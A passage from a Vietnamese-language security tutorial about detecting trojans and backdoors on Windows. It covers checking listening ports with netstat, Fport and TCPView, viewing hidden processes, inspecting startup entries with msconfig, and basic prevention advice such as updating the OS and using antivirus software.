- Một trojan muốn hoạt động phải lắng nghe các request trên một cổng nào đó

- Một chương trình đang chạy sẽ phải có TÊN trong Process List

- Một chương trình Trojan sẽ luôn chạy cùng lúc khi máy tính khởi động.

a. Phát hiện Port sử dụng bởi Trojans

- Dùng câu lệnh Netstat –an trong windows để biết hệt thống đang lắng nghe trên các port nào

+ Hình dưới ta thấy có port 7777 – à thì ra là port của Tini Trojan

+ Máy của tôi đâu có sử port nào là 8800 sao lại đang để chế độ nghe và có máy đang kết nối đến nhỉ ồ đó chắc là của Trojans

- Dùng phần mềm Fport

- Dùng phần mềm TCPView

Thật may tôi có thể xem toàn bộ các port đang sử dụng và chương trình gì tôi đang sử dụng port nào.

Từ đây tôi có thể kiểm tra các dịch vụ mạng của tôi với những Port nghi ngờ tôi có thể dùng Firewall đóng lại.


b. Cách phát hiện các chương trình đang chạy

- Dùng phần mềm Process Viewer tất cả các Process sẽ được hiển thị dù có đang chạy chế độ ẩn và không hiện trên Task Manager của Windows.


c. Tìm một chương trình chạy lúc khởi động

- Trong Satup

- Trong Registry: Đa số sẽ nằm tại đây: Chúng ta sử dụng câu lệnh Msconfig trong Table Starup chương trình nào muốn chạy tự động sẽ phải nằm tại đây.

Trong ví dụ này tôi thấy có file nc.exe chạy lúc khởi động vị trí của nó là tại folder c:\vnexperts.net


8. Cách phòng chống Trojans và Backdoor

- Không sử dụng các phần mềm không tin tưởng (Đôi khi tin tưởng vẫn bị dính Trojans)

- Không vào các trang web nguy hiểm, không cài các ActiveX và JavaScript trên các trang web đó bởi có thể sẽ đính kèm Trojans

- Tối quan trọng là phải update OS thường xuyên

- Cài phần mềm diệt virus uy tín: Tôi hay dùng: Kaspersky Internet Security, Norton Internet Security, và Mcafee Total Security, nhưng nghe nói còn rất nhiều phần mềm diệt Virus và chống Trojan hay khác. Sau khi cài các phần mềm này bạn hãy update nó thường xuyên.


9. Kết luận.

Trong bài viết này tôi đã trình bày các khái niệm cơ bản thế nào là Trojans Backdoor, cách chúng lây nhiễm vào hệ thống. Một vài trojans demo cho các bạn hiểu sự nguy hiểm của Trojan. Quan trọng nhất là các bạn hãy bảo vệ chính môi trường của mình trước các tấn công từ bên ngoài.

Theo vnexpress